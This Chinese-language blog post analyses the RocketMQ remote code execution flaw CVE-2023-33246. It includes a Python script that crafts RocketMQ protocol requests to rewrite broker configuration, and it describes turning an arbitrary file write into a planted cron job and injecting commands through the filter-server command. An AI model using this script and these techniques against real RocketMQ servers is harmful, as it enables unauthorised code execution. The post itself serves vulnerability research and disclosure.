RocketMQ RCE(CVE-2023-33246)分析
0 条评论前言
RocketMQ RCE(CVE-2023-33246)已经爆出挺久了,不过官方的描述比较迷惑导致刚开始关注度比较小,不过也能理解官方的通告,下面来分析一下这个漏洞,作个记录~
漏洞分析
协议分析
随便打入一段请求
经过部分调试,发现协议主要包含四部分
协议总长度+json长度+json+body
构造的python脚本如下
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.111.129',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
其中code代表调用的不同功能
之后就可以愉快的调用各种功能了。
漏洞分析——任意文件写入
这个功能是出现在UPDATE_NAMESRV_CONFIG
解析传入的body并且写入配置
首先是配置更新,这一步不用管,只要是org.apache.rocketmq.common.namesrv.NamesrvConfig 中的字段,都能更新,重点是persist功能,我们看到有一个文件写入的调用
会写入fileName、fileName.bak两个文件,这里的fileName为configStorePath,也就是后来黑名单中的字段
既然可以任意文件写入,所有就可以是常规的一些RCE思路,比如写入计划任务。
1、修改存储路径为计划任务路径,并且打入定时任务脚本,注意可以使用\\n
来进行换行操作。
2、成功写入
3、命令执行成功
这里就需要条件了,比如root权限,但是我们可以通过 GET_NAMESRV_CONFIG 功能来获取当前用户权限。
初始化的kvConfigPath、configStorePath带有当前用户
这里就是漏洞通告中的在一定条件下
,还是挺具有迷惑性的,这个功能影响三个模块,NameServer, Broker, Controller,通过加入黑名单修复
漏洞分析——命令执行
这个漏洞还是挺不好发现的,也就是漏洞的sink不好发现,在没有了解RocketMQ下,还挺不好找。
在broker 一堆的功能中,有个REGISTER_FILTER_SERVER 引起我的注意,
当然这里跟进一圈也就是注册功能,没有什么危害,但是我比较好奇这部分如何实现,凭感觉这里可能会出现漏洞,哈哈
随便翻翻,发现各种名词,过滤器类、注册呀什么的,感觉妥妥的危险操作,直接进入 org.apache.rocketmq.broker.filtersrv.FilterServerManager 查看下这个模块把
很容易就看到了有个命令拼接的地方
仔细一看,这里拼入的参数来自brokerConfig,而通过之前的分析,我已经知道brokerConfig可以被控制了,现在就要看这个功能怎么触发,
跟进发现,这里是新建了一个线程,每隔一段时间就触发
在启动Broker的时候,调用startBasicService
进行了调用。
一个RCE漏洞便出现了,其实这里没有调试,在熟悉流程后,点几下就可以发现这个漏洞。
所以我们打入我们的命令执行POC
这里刚开始还测了一段时间,怎么也触发不了(Windows 下压根不行)后来改用
sh -c touch 命令
要执行的命令间隔用\t
这样就不会被拆分了。
查看日志,可以看到命令执行记录
修复方案十分粗暴,直接把功能删了,本来还想再研究下的。
后言
这个漏洞的发现还是有一定巧合的,这类中间件大多以非阻塞方式开发,涉及到很多线程,也就导致漏洞并不好追踪,功能也不好阅读,最好的方式还是查阅文档,并且阅读前人的源码分析、架构分析,这样可以节约大量时间。至于官方的在一定条件下
,可能就是在说第一个漏洞了,最后两个漏洞给了一个编号,这也就导致漏洞的描述比较迷惑,hh~